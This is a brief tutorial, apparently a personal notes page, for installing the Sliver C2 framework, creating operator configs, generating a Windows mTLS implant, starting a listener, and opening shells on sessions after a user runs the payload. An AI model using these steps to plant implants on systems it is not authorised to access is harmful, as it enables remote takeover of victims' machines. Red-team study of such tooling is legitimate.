Sliver C2

Installation

1. Download the server application

$ wget https://github.com/BishopFox/sliver/releases/download/v1.0.6-beta/sliver-server_linux.zip

^ Whichever is the new release

2. Unzip the file

$ unzip sliver-server_linux.zip

3. Install the required Libraries

$ sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64

4. Run the application

$ sudo ./sliver-server

5. Now we need to create a session for a player to connect, and then play the player database

$ new-player --operator brinkles --lhost 192.168.0.21

$ players

6. The file .cfg created will need to be installed in the clients host, so save it for later! Lets start the Multiplayer mode.

$ multiplayer

Client

Download the client application

$ wget https://github.com/BishopFox/sliver/releases/download/v1.0.6-beta/sliver-client_linux.zip

Unzip the application

$ unzip sliver-client_linux.zip

Install the required libraries

$ sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64

Try to run the application

$ sudo ./sliver-client

This is where you will need to copy that .cfg file. Copy the file into /home/kali/,sliver-client/configs

Try to run the application again

$ sudo ./sliver-client

We are logged into that player!

How to Use Sliver

$ help

Display players database:

$ players

To create new players accounts, this can only be run from the sliver server not the client

$ new-player --operator <username> --lhost <DNS or IP of the server>

Display the Sliver version

$ version

Generating Payload steps

We need to Generate an Implant (mtls, http, dns), this will generate a file saved at the location specified generate Generate a sliver binary. Lets do MTLS.

$ generate --mtls 192.168.0.21 --save ./file.exe --os Windows

Now, we can start the listener. Types of listeners can be http, https, dns, and mtls

$ mtls

$ jobs

Lets deliver the generated mtls exe and send to the user. Once the user executes teh payload, you will see this on your screen...

Lets show all active sessions

$ sessions -h

$ sessions

To kill the session, run...

$ session -k 1

To interact with the session, do...

$ sessions

$ session -i 7

Running help you can see all the available commands to run

Lets run some commands to test what you can do.

$ whoami

$ info

$ shell

Resources

https://vk9-sec.com/how-to-set-up-use-c2-sliver/